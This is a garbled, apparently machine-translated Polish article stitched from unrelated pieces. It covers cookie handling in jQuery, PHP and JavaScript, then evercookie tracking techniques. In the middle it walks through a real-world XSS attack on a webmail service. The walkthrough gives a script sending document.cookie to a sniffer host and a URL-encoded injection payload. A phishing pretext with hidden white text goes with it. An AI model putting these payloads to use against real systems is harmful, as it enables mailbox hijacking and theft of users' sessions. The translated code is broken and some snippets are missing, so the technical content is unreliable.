Cookies – ustawienie. Js Metody kradzieży plików cookie Ustawienie plików cookie

Warto chyba zacząć od tego, czym są ciasteczka i do czego służą. Plik cookie to fragment danych, który może być przechowywany po stronie użytkownika i używany później do realizacji jego pomysłów.

Wyobraź sobie, że Twoja witryna ma możliwość wyboru schematu kolorów witryny. Zaimplementowanie tego w plikach cookie jest bardzo wygodne, ponieważ wybrany przez niego temat będzie widoczny tylko dla niego.

Pliki cookie istnieją zarówno w PHP, jak i jQuery. Dlatego rozważymy każdy przypadek bardziej szczegółowo.

Szczegółowe instrukcje dotyczące pracy z plikami cookie w jQuery

1. Ustawienia plików cookie

Teraz możemy spróbować stworzyć nasze pierwsze ciasteczko:

$.cookie("nazwa_ciasteczka", "wartość_cookie", (wygasa: 3, ścieżka: "/", domena: "twoja_witryna.ru", bezpieczne: prawda ));

Co jest tutaj?

„nazwa_ciasteczka” – nazwa ciasteczka;

"cookie_value" - wartość cookie;

„wygasa” – liczba dni, przez które plik cookie jest przechowywany (w naszym przypadku – 3 dni). Po tym czasie pliki cookies zostaną automatycznie usunięte;

„ścieżka” – dostępność plików cookies na stronie (w naszym przypadku „/” – dostępność na całej stronie). Opcjonalnie możesz ustawić tylko określoną stronę lub sekcję, w której będą dostępne pliki cookie, na przykład „/audio/rock”;

„domena” to domena, w której obowiązuje plik cookie. Jeśli masz subdomenę, możesz określić ją w tym parametrze, na przykład „domena: „subdomena.twoja_witryna.ru””, w takim przypadku pliki cookie będą dostępne tylko w domenie „subdomena.twoja_witryna.ru”;

„bezpieczne” – parametr wskazujący, że przesyłanie pliku cookie powinno odbywać się z wykorzystaniem bezpiecznego protokołu https.

Tutaj nie wszystkie parametry są obowiązkowe, a do ustawienia cookies wystarczy taka konstrukcja:

$.cookie("nazwa_ciasteczka", "wartość_cookie", (wygasa: 3, ścieżka: "/" ));

2. Otrzymywanie pliku cookie

Pobieranie plików cookie jest dość proste, możesz to zrobić za pomocą kodu:

$.cookie("nazwa_ciasteczka");

Ten kod można przypisać do zmiennej i wykorzystać w swoich potrzebach:

var content = $.cookie("nazwa_ciasteczka"); if(content != null) ( alert("Pliki cookie istnieją!"); ) else ( alert("Pliki cookie nie istnieją!"); )

Zgadzam się, jest to bardzo wygodne.

3. Usuwanie plików cookie

Aby usunąć wartość pliku cookie, ustaw ją na „null”:

$.cookie("nazwa_ciasteczka", null);

Na tym, jak sądzę, skończyła się znajomość pracy z plikami cookie w jQuery. Ta wiedza wystarczy do realizacji Twoich pomysłów.

Szczegółowa instrukcja pracy z Cookies w PHP

W przeciwieństwie do poprzedniej opcji pracy z plikami cookie, tutaj nie trzeba niczego podłączać.

1. Ustawienia plików cookie

W celu ustawienia cookies w PHP skorzystamy z wbudowanej funkcji „setcookie”:

Co jest tutaj?

„nazwa_ciasteczka” – nazwa ciasteczka;

"cookie_value" - wartość cookie;

„time()+3600” to czas życia pliku cookie w sekundach (w naszym przypadku 1 godzina). Jeśli ustawisz czas życia na „0”, plik cookie zostanie usunięty natychmiast po zamknięciu przeglądarki;

„/” – sekcja, w której dostępne są pliki cookies (w naszym przypadku jest to dostępne w całym serwisie). Jeżeli chcesz ograniczyć sekcję, w której będą dostępne pliki cookies, to „/” zastąp np. przez „/audio/rock”;

„twoja_witryna.ru” – domena, w której będą dostępne pliki cookie;

„true” – parametr wskazujący, że plik cookie dostępny jest wyłącznie za pośrednictwem bezpiecznego protokołu https. W przeciwnym razie wartość jest fałszywa ;

„false” to parametr wskazujący, że plik cookie jest dostępny dla języków skryptowych. W przeciwnym razie true (dostępne tylko przez http).

Tutaj również nie wszystkie parametry są wymagane, a do utworzenia pliku cookie potrzebna będzie następująca konstrukcja:

Dla wygody wartość pliku cookie można ustawić za pomocą zmiennej:

2. Otrzymywanie pliku cookie

Aby otrzymywać pliki cookies, należy użyć:

$_COOKIE["nazwa_ciasteczka"];

Aby uniknąć błędów wynikających z możliwego braku plików cookie, użyj:

Podobnie jak w poprzednim przykładzie jQuery Cookie, pliki cookie można przypisać do zmiennej:

3. Usuwanie plików cookie

Usuwanie plików cookie w PHP jest tak samo łatwe jak w jQuery. Wszystko, co musisz zrobić, to ustawić plik cookie na pustą wartość i ujemny czas (czas, który już minął):

Setcookie("nazwa_ciasteczka", "", czas() - 3600);

Czas w ten przykład równa się godzinie temu, co wystarczy, aby usunąć pliki cookie.

Pragnę zaznaczyć, że w niektórych przypadkach stosowanie plików cookies jest dużo bardziej racjonalne niż wykorzystanie bazy danych do realizacji niezbędnych funkcjonalności.

Ostatnia aktualizacja: 1.11.2015

Jedną z możliwości zapisywania danych w javascript jest stosowanie plików cookies. Właściwość cookie jest przeznaczona do pracy z plikami cookie w obiekcie dokumentu.

Aby ustawić cookies wystarczy przypisać ciąg z cookies do właściwości document.cookie:

dokument.cookie = "login=tom32;";

W takim przypadku ustawiany jest plik cookie o nazwie „login”, który ma wartość „tom32”. I w większości przeglądarek możemy go zobaczyć, znaleźć wszystkie informacje na jego temat, a następnie możemy go użyć w aplikacji:

Ciąg cookie akceptuje do sześciu różnych parametrów: nazwę pliku cookie, wartość, datę wygaśnięcia (wygasa), ścieżkę (ścieżkę), domenę (domena) i bezpieczeństwo. Powyżej użyto tylko dwóch parametrów: nazwy pliku cookie i wartości. Oznacza to, że w przypadku ciągu znaków „login=tom32;” Plik cookie ma nazwę login i wartość tom32.

Ale takie pliki cookie mają bardzo ograniczony czas życia: jeśli wyraźnie nie ustawisz daty wygaśnięcia, plik cookie zostanie usunięty po zamknięciu przeglądarki. Ta sytuacja jest prawdopodobnie idealna w przypadkach, w których musisz usunąć wszystkie informacje po wyjściu z aplikacji internetowej i zamknięciu przeglądarki. Jednak takie zachowanie nie zawsze jest właściwe.

I w tym przypadku musimy ustawić parametr wygasa, czyli datę wygaśnięcia ciasteczka:

Oznacza to, że plik cookie logowania wygasa w poniedziałek 31 sierpnia 2015 r. o godzinie 00:00. Format parametru wygasa jest bardzo ważny. Można go jednak wygenerować programowo. W tym celu możemy użyć metody toUTCString() obiektu Date:

var wygasa = nowa data(); wygasa.setHours(expire.getHours() + 4); document.cookie = "login=tom32;expires=" + wygasa.toUTCString() + ";";

W takim przypadku czas trwania pliku cookie wyniesie 4 godziny.

Jeśli musimy ustawić pliki cookie dla określonej ścieżki w witrynie, możemy użyć parametru path. Na przykład chcemy ustawić pliki cookie tylko dla ścieżki www.mojawitryna.com/home:

W takim przypadku dla innych ścieżek w witrynie, np. www.mojawitryna.com/shop, te pliki cookie nie będą dostępne.

Jeśli nasza witryna ma wiele domen i chcemy ustawić pliki cookie bezpośrednio dla określonej domeny, można użyć parametru domeny. Na przykład mamy subdomenę na naszej stronie blog.mojawitryna.com:

Document.cookie = "login=tom32;expires=Mon, 31 sierpnia 2015 00:00:00 GMT;ścieżka=/;domena=blog.mysite.com;";

Parametr path=/ określa, że ​​pliki cookie będą dostępne dla wszystkich katalogów i ścieżek subdomeny blog.mysite.com.

Ostatni parametr - security określa użycie SSL (SecureSockets Layer) i jest odpowiedni dla stron korzystających z protokołu https. Jeśli ten parametr jest ustawiony na true , pliki cookie będą używane tylko podczas nawiązywania bezpiecznego połączenia SSL. Domyślnie ten parametr ma wartość false.

Document.cookie = "login=tom32;expires=Mon, 31 sierpnia 2015 00:00:00 GMT;ścieżka=/;domena=blog.mysite.com;secure=true;";

Otrzymywanie plików cookie

W celu najprostszego wyodrębnienia plików cookies z przeglądarki wystarczy odwołać się do właściwości document.cookie:

var wygasa = nowa data(); wygasa.setHours(expire.getHours() + 4); document.cookie = "city=Berlin;expires="+expire.toUTCString()+";"; document.cookie = "kraj=Niemcy;expires="+expire.toUTCString()+";"; dokument.cookie = "login=tom32;"; dokument.write(dokument.cookie);

Ustawiono tutaj trzy pliki cookie, a przeglądarka wyświetli dla nas wszystkie te pliki cookie:

Pobrane pliki cookie nie zawierają parametrów wygaśnięcia, ścieżki, domeny i bezpieczeństwa. Ponadto same pliki cookie są oddzielone średnikami, więc musisz wykonać jeszcze kilka przekształceń, aby uzyskać ich nazwę i wartość:

Varcookies = document.cookie.split(";"); for(zmienna i=0; i

Poza tym zamiast „alertu” potrzebujemy skryptu, który przekaże ciasteczka do naszego sniffera. Napiszemy ten skrypt w osobnym pliku i prześlemy go do naszej wyszukiwarki. Utworzono plik test.js z właściwy kod i przesłane na hosting. Kod skryptu jest taki:

Img=nowyObraz();
img.src="http://sitename.ru/sniff.php?cookie="+document.cookie;
funkcja F() (
location="http://www.solife.ru";
}
setTimeout(F, 5000);

Co chciałbym tutaj wyjaśnić. Postawmy się na miejscu napastnika. Użytkownik musi kliknąć łącze. Jak go do tego zmusić? Możesz obiecać góry złota i aby je zdobyć, musisz kliknąć nasz link do strony. Ale nie sądzę, żeby to zadziałało. Ludzi już na tym nie ma (sam ciągle usuwam takie listy, nawet ich nie czytając). Dlatego będziemy grać na ludzkiej litości, skoro wciąż istnieje w przyrodzie. Poprosimy Was o oddanie głosu w serwisie na rzecz ratowania eksterminowanych zwierząt. Najpierw pobierzemy pliki cookie, a następnie przekierujemy użytkownika na stronę głosowania. Limit czasu przekierowania został ustawiony na 5 sekund, w przeciwnym razie pliki cookie po prostu nie miały czasu na przesłanie do sniffera, a użytkownik został natychmiast przeniesiony na stronę o zwierzętach. Zamiast „alert” użyłem następującego skryptu:

Kiedy scenariusze były gotowe, zacząłem pisać list. Wymyślono następującą treść:


Wyszło dość cynicznie, ale starałem się przybliżyć warunki do najbardziej realistycznych. Na końcu listu dodano linijkę z pismem, tak aby nasz list został odnaleziony podczas wyszukiwania. Aby linia nie wywoływała zbędnych pytań, pomalowałam ją na biało. Umieściłem również spację w słowie „http”, aby ciąg nie został rozpoznany i przekształcony w link. W przeciwnym razie, pomimo tego, że linia skryptu jest napisana białą czcionką, link byłby podświetlony na niebiesko u adresata, a tego nie potrzebujemy. Inteligentne wyszukiwanie nadal znajdzie i rozpozna ten ciąg, niezależnie od spacji.

E.mail.ru/cgi-bin/gosearch?q_folder=0&q_query=%27%3E%3Cscript%20src%3D%27http%3A%2F%2Fsitename.ru%2Ftest.js%27%3E%3C%2Fscript%3E

W przypadku skryptu zastosowałem kodowanie adresów URL, aby nic nie zostało odfiltrowane. Dodałem również parametr „q_folder=0” do wyszukiwania, aby wyszukiwanie odbywało się w folderze Skrzynka odbiorcza.

List jest gotowy, wysyłamy go. Korzystałem z drugiej skrzynki pocztowej w tej samej usłudze co adresat. Patrzymy na to, co trafiło do drugiego pudełka.

Nasz tekst skryptu nie jest widoczny, ponieważ wtapia się w tło. Kliknijmy w link i zobaczmy, co się stanie. Użytkownik zostaje przeniesiony do wyników wyszukiwania wiadomości e-mail po ustawionym przez nas parametrze. Nasz list, który wysłaliśmy, jest widoczny w wynikach wyszukiwania. W tej chwili nasz skrypt już zadziałał i wysłał pliki cookie użytkownika do sniffera. Po 5 sekundach (czas zależny od ustawień skryptu) użytkownik zostaje przekierowany na stronę głosowania.

Sprawdzam plik sniff.txt:

Ponieważ moim celem nie jest kradzież skrzynek innych osób ani uzyskiwanie do nich dostępu, zakończę tutaj historię. Ale teoretycznie możesz zastąpić swoje pliki cookie cudzymi i uzyskać dostęp do czyjejś skrzynki pocztowej. Ogólnie rzecz biorąc, jeśli atakujący podpala cel, znajdzie zastosowanie dla otrzymanych informacji.

Chciałbym podziękować Siergiejowi Biełowowi (

Cookies to pewna technologia, która pozwala stronie internetowej „zapamiętać” użytkownika,
zapisz jego ustawienia i nie pytaj każdorazowo o nazwę użytkownika i hasło. Móc
myślisz, że jeśli usuniesz ciasteczka w przeglądarce, to strona Cię nie rozpozna. Ale to
zaufanie jest złudne.

Możesz martwić się o swoją anonimowość tak bardzo, jak chcesz, użyj proxy
i VPN, fałszuj nagłówki żądań HTTP, które zdradzają używany system,
wersja przeglądarki, strefa czasowa i morze innych informacji, ale serwisowi to nie przeszkadza
będą sposoby rozpoznania faktu, że już na nim byłeś. W wielu
przypadkach nie jest to szczególnie krytyczne, ale nie w sytuacji, gdy na niektórych
usługi, musisz przedstawić się jako inny użytkownik lub po prostu zapisać
anonimowość. Łatwo sobie wyobrazić, jak działa system zwalczania nadużyć finansowych niektórych warunkowych
instytucji finansowej, jeżeli stwierdzi, że użyto tego samego komputera
autoryzację na rachunkach zupełnie innych osób. I czy to miłe
mieć świadomość, że ktoś w sieci może śledzić Twoje ruchy? Ledwie. Ale
o wszystko po kolei.

Jak działają pliki cookie?

Pliki cookie są używane od niepamiętnych czasów w celu identyfikacji użytkownika.
Cookies (z angielskiego „cookies”) to niewielka porcja informacji tekstowych,
które serwer wysyła do przeglądarki. Kiedy użytkownik uzyskuje dostęp do serwera
(wpisuje swój adres w wierszu przeglądarki), serwer może odczytać informacje,
zawartych w plikach cookies i na podstawie ich analizy wykonują dowolne działania.
Na przykład w przypadku autoryzowanego dostępu do czegoś przez sieć w plikach cookie
login i hasło są zapamiętywane w trakcie sesji, co pozwala użytkownikowi tego nie robić
wprowadź je ponownie za każdym razem, gdy zostaniesz o to poproszony dla każdego dokumentu chronionego hasłem. Więc
aby serwis mógł „zapamiętać” użytkownika. Technicznie to wygląda
w następujący sposób. Podczas żądania strony przeglądarka wysyła krótką wiadomość do serwera WWW.
Tekst żądania HTTP.

Na przykład, aby uzyskać dostęp do strony www.example.org/index.html w przeglądarce
wysyła następujące żądanie do serwera www.example.org:

GET /index.html HTTP/1.1
Host: www.example.org

Serwer odpowiada wysyłając żądaną stronę wraz z tekstem,
zawierające odpowiedź HTTP. Może zawierać instrukcję dla przeglądarki, aby zapisała pliki cookies:

HTTP/1.1 200 OK
typ zawartości: tekst/html
Set-Cookie: nazwa=wartość

Jeśli istnieje ciąg Set-cookie, przeglądarka zapamiętuje ciąg nazwa=wartość (nazwa=
wartość) i odsyła ją z powrotem do serwera przy każdym kolejnym żądaniu:

GET /spec.html HTTP/1.1
Host: www.example.org
Plik cookie: nazwa=wartość
Zaakceptować: */*

Wszystko jest bardzo proste. Jeśli serwer otrzymał pliki cookie od klienta i ma je w sobie
bazy, na pewno może je przetworzyć. Tak więc, gdyby były to ciasteczka z
niektórych informacji autoryzacyjnych, użytkownik w momencie wizyty nie będzie miał
poprosić o nazwę użytkownika i hasło. Domyślnie pliki cookie mają określony czas życia.
(chociaż może być bardzo duży), po czym umierają. I jakikolwiek
zapisane pliki cookies mogą być łatwo usunięte przez użytkownika za pomocą
odpowiednią opcję w dowolnej przeglądarce. Ten fakt jest mocno
denerwuje właścicieli wielu zasobów, którzy nie chcą stracić kontaktu
gość. Ważne jest, aby go wyśledzili, aby zrozumieli, że „ta osoba była z nami
wczoraj i przedwczoraj itp.”. Dotyczy to zwłaszcza różnych analizatorów
ruchu, systemy do prowadzenia statystyk, sieci banerów itp. Tu i tam
zaczyna się zabawa, bo twórcy używają wszelkiego rodzaju
triki, o których wielu użytkowników nawet nie wie. Są w ruchu
różne sztuczki.

Flashowe pliki cookie

Rzecz w tym, że oprócz zwykłych „gadżetów” HTTP, do których każdy ma już dawno
przyzwyczaiłem się, teraz aktywnie używane są alternatywne magazyny, w których przeglądarka
może zapisywać dane po stronie klienta. Pierwszą rzeczą, o której należy wspomnieć, jest
przechowywanie kochanych i nienawidzonych jednocześnie Flash (dla tych użytkowników, którzy
w którym jest zainstalowany). Dane są przechowywane w tzw. LSO (Local Shared
Obiekty) - pliki zbliżone formatem do cookies, które są zapisywane lokalnie
komputer użytkownika. Podejście to jest pod wieloma względami podobne do zwykłych „bułek” (w this
przypadku niewielka ilość jest również przechowywana na komputerze użytkownika
dane tekstowe), ale ma pewne zalety:

  • Flashowe pliki cookie są wspólne dla wszystkich przeglądarek na komputerze (w przeciwieństwie do
    z klasycznego pliku cookie, który jest powiązany z przeglądarką). Ustawienia, informacje
    o sesji, a także np. jakiś identyfikator do śledzenia użytkownika,
    nie są powiązane z żadną konkretną przeglądarką, ale stają się ogólne dla
    wszyscy.
  • Flashowe pliki cookie umożliwiają zapisanie znacznie większej ilości danych (np
    zwykle 100 Kb), co zwiększa liczbę ustawienia użytkownika,
    dostępne do zapisania.

W praktyce LSO staje się bardzo prostą i niedrogą technologią śledzenia.
użytkownik. Pomyśl o tym: gdybym zasugerował, abyś usunął wszystkie „smakołyki” z
systemu, czy pamiętasz pliki cookie Flash? Prawdopodobnie nie. Teraz spróbuj wziąć
dowolny widz, na przykład za darmo

FlashCookiesZobacz i zobacz ile ciekawych rzeczy jest zapisanych
Pamięci flash. Lista witryn, które naprawdę nie chcą
zgubić ślad, nawet jeśli wyczyścisz pamięć podręczną przeglądarki (wraz z gadżetami).

Ciasteczka wszędzie z evercookie

Ale jeśli zaawansowani użytkownicy słyszeli o LSO i mniej lub bardziej dobrze
programistów, istnienie innych technik przechowywania danych jest czasami bardzo
wyrafinowany (ale skuteczny), wielu nawet nie podejrzewa. Zdobądź kilka nowych
repozytoria, które pojawiły się w
(przechowywanie sesji,
Local Storage, Global Storage, Database Storage przez SQLite), które możesz
przeczytaj w artykule „”. Ten problem poważnie zmylił polskiego specjalistę
Oficer bezpieczeństwa Samy Kamkar. W rezultacie specjalny
Biblioteka JavaScript evercookie, która została specjalnie zaprojektowana do
tworzyć najtrwalsze pliki cookie w przeglądarce. Ktoś może zapytać: „Dlaczego
czy to konieczne?”. Bardzo proste: w celu jednoznacznej identyfikacji
odwiedzającego stronę, jeśli przyjdzie ponownie. Takie trudne do zabicia ciasteczka często
nazywane są śledzącymi plikami cookie i są nawet definiowane przez niektóre programy antywirusowe jako
zagrożenie prywatności. Evercookie może zredukować wszelkie próby zachowania anonimowości do
zero.

Sekret polega na tym, że evercookie wykorzystuje jednocześnie wszystko, co jest dostępne dla przeglądarki.
przechowywanie: zwykłe pliki cookie HTTP, LSO, kontenery HTML5. Poza tym idzie
kilka przebiegłych sztuczek, które z nie mniejszym powodzeniem pozwalają ci odejść
żądaną etykietę na komputerze. Wśród nich: generowanie specjalnych obrazów PNG,
korzystanie z historii przeglądarki, przechowywanie danych za pomocą znacznika ETag, kontenera
dane użytkownika w Internet Explorera- okazuje się, że opcji jest bardzo dużo.

Możesz zobaczyć, jak skutecznie to działa na stronie.
deweloper -
http://samy.pl/evercookies. Jeśli klikniesz przycisk „Kliknij, aby utworzyć plik
evercookie”, w przeglądarce zostanie utworzone ciasteczko z losową liczbą. Spróbuj
usuń pliki cookie, jeśli to możliwe. Założę się, że teraz jesteś
Pomyślałem: „Gdzie jeszcze mogę usunąć pliki cookie, jak nie w ustawieniach przeglądarki?”.
Czy na pewno wszystko usunąłeś? Załaduj ponownie stronę, aby mieć pewność, możesz nawet ponownie załadować
Otwórz przeglądarkę. Teraz możesz kliknąć przycisk „Kliknij, aby ponownie odkryć pliki cookie”.
wtf? Nie przeszkodziło to stronie w pobieraniu danych skądś - w polach strony
wyświetlona została liczba zapisana w plikach cookies. Ale czy je straciliśmy? Jak
czy to się udało? Spróbujmy zrozumieć niektóre techniki.

Pliki cookie w formacie PNG

Niezwykle ciekawą techniką zastosowaną w Evercookie jest podejście
przechowywanie danych w buforowanych obrazach PNG. Kiedy ustawi się evercookie
cookies, odnosi się to do skryptu evercookie_png.php ze specjalną „bułką” HTTP,
inny niż ten używany do przechowywania standardowych informacji o
sesje. Te specjalne pliki cookie są odczytywane przez tworzony skrypt PHP
Obraz PNG, w którym wszystkie wartości RGB (kolorów) są ustawione zgodnie z
z informacjami o sesji. Ostatecznie plik PNG jest wysyłany do przeglądarki klienta
z dopiskiem: „plik musi być buforowany przez 20 lat”.

Po otrzymaniu tych danych evercookie usuwa utworzone wcześniej specjalne pliki cookie.
HTTP cookie, a następnie wysyła to samo żądanie do tego samego skryptu PHP, ale nie
dostarczania informacji o użytkowniku. Widzi, że interesują go dane
Nie i nie może generować PNG. Zamiast tego przeglądarka powraca
fałszywa odpowiedź HTTP „304 Not Modified”, która powoduje pobranie pliku
lokalna pamięć podręczna. Obraz z pamięci podręcznej jest wstawiany na stronę za pomocą tagu
Płótno HTML5. Kiedy to nastąpi, evercookie odczyta każdy piksel
zawartość płótna, wyodrębniając wartości RGB, a tym samym przywracając
oryginalne dane cookie, które były przechowywane w obrazie. Voila, wszystko
Pracuje.

Podpowiedź z Historią online

Inna technika bezpośrednio wykorzystuje historię przeglądarki. Kiedyś przeglądarka
instaluje bułkę, evercookie koduje dane za pomocą algorytmu Base64,
które trzeba uratować. Załóżmy, że te dane są ciągiem znaków,
wynikowy „bcde” po konwersji na Base64. bibliotekę po kolei
uzyskuje dostęp do następujących adresów URL w tle:

google.com/evercookie/cache/b
google.com/evercookie/cache/bc
google.com/evercookie/cache/bcd
google.com/evercookie/cache/bcde
google.com/evercookie/cache/bcde-

W ten sposób te adresy URL są przechowywane w historii. Następnie pojawia się specjalność
trik - CSS History Knocker, który za pomocą skryptu JS i CSS pozwala
sprawdź, czy użytkownik odwiedził określony zasób, czy nie (więcej szczegółów tutaj -
samy.pl/csshack). Dla
bun sprawdza, czy evercookie przechodzi przez wszystkie możliwe znaki Base64
google.com/evercookie/cache zaczynając od „a” i przechodząc dalej, ale tylko
dla jednej postaci. Gdy tylko skrypt zobaczy adres URL, do którego uzyskano dostęp, to
zaczyna iterować po następnym znaku. Okazuje się, że to rodzaj brutalnej siły. W praktyce
ten wybór jest przeprowadzany niezwykle szybko, ponieważ nie ma żadnych próśb
serwer nie są wykonywane. Wyszukiwanie w historii odbywa się maksymalnie lokalnie
krótkoterminowe. Biblioteka wie, że dotarła do końca wiersza, gdy adres URL to
kończyć z "-". Dekodujemy Base64 i uzyskujemy nasze dane. Jak
wymienić twórców przeglądarek, które na to pozwalają?

Spróbuj uciec

Co się stanie, jeśli użytkownik wyczyści swoje pliki cookie? Ważna cecha samej biblioteki
evercookie jest to, że użytkownik będzie musiał ciężko pracować
usuń pliki cookie pozostawione w różnych miejscach - teraz jest ich 10. Jeśli chociaż jeden
miejscu, w którym te pliki cookie pozostają, zostaną one automatycznie przywrócone we wszystkich innych
miejsca. Na przykład, jeśli użytkownik nie tylko usunie swoje standardowe pliki cookie, ale
i wyczyść dane LSO, wyczyść pamięć HTML5, co i tak jest już mało prawdopodobne
pliki cookie utworzone z buforowanym plikiem PNG i historią przeglądania pozostaną. Na
Przy następnej wizycie na stronie z evercookie biblioteka nie tylko będzie mogła znaleźć
ukryty kok, ale przywróci je również we wszystkich innych miejscach
obsługuje przeglądarkę klienta. Ciekawy punkt jest związany z przeniesieniem
„bułki” między przeglądarkami. Jeżeli użytkownik otrzyma pliki cookies w jednej przeglądarce,
to znaczy istnieje duże prawdopodobieństwo, że zostaną one odtworzone w innych. Jedyną rzeczą
warunkiem koniecznym do tego jest przechowywanie danych w pliku cookie Local Shared Object.

Jak używać?

Biblioteka Evercookie jest całkowicie otwarta, więc możesz swobodnie
korzystaj z niego, dostosuj go do swoich potrzeb. Serwer nie jest prezentowany z żadnym
poważne wymagania. Wystarczy dostęp do skryptu JS, w którym
zawiera kod evercookie. Aby korzystać z plików cookie Flash (Local Shared Object),
folder ze skryptem musi zawierać plik evercookie.swf, aby technik mógł pracować,
w oparciu o buforowanie PNG i pamięć ETag, do której potrzebujesz dostępu
Skrypty PHP evercookie_png.php i evercookie_etag.php. Użyj evercookie
możesz na dowolnej stronie witryny, łącząc następujący skrypt:





var ec = new evercookie();
// ustaw ciasteczko "id" na wartość "12345"
// składnia: ec.set(klucz, wartość)
ec.set("identyfikator", "12345");
// przywraca plik cookie o nazwie „id”
ec.get("id", funkcja(wartość)
{
alert("Wartość pliku cookie to " + wartość)
});

Istnieje również inny sposób uzyskiwania plików cookie oparty na używaniu większej liczby
zaawansowana funkcja oddzwaniania. Pozwala to na wyodrębnienie wartości plików cookie z
różne używane repozytoria i porównaj je ze sobą:

funkcja getCookie(najlepszy_kandydat, wszyscy_kandydaci)
{
alert("Pobrany plik cookie to: " + best_candidate + "\n" + "Ty
może zobaczyć, co każdy mechanizm pamięci zwrócił " + "przechodząc przez wszystkie
obiekt kandydujący.");

For (var item in all_candidates) document.write("Przechowywanie
mechanizm " + element + " zwróciło: " + all_candidates + "
");
}

ec.get("identyfikator", getCookie);

Biblioteka evercookie jest dostępna dla wszystkich. To trochę przerażające, zwłaszcza jeśli
Kompletnie nie masz pojęcia, co możesz z tym zrobić.

Jak się chronić?

Nie ma problemów z czyszczeniem ciasteczek w przeglądarce i Flashu, ale spróbuj
usuwaj dane wszędzie tam, gdzie odziedziczył je evercookie! W końcu, jeśli zostawisz ciasteczka w jednym
miejsce - skrypt automatycznie przywróci wartość we wszystkich innych
repozytoria. Zasadniczo ta biblioteka jest dobrym narzędziem do sprawdzania trybu
prywatności, która jest obecnie dostępna w prawie wszystkich przeglądarkach. I to właśnie ci mówię
powiem od Google Chrome, Opera, Internet Explorer i Safari to tylko najnowsze wersje
Tryb „Przeglądania prywatnego” całkowicie zablokował wszystkie używane metody
ciasteczka. Oznacza to, że po zamknięciu i otwarciu przeglądarki skrypt nie mógł
przywrócić jej wartość. Jest powód do myślenia. Co więcej, w
Deweloper evercookie obiecał dodać więcej do biblioteki w najbliższej przyszłości
kilka technik przechowywania danych, w tym wykorzystanie technologii izolowanej
Przechowywanie w Silverlight, a także aplet Java.

mob_info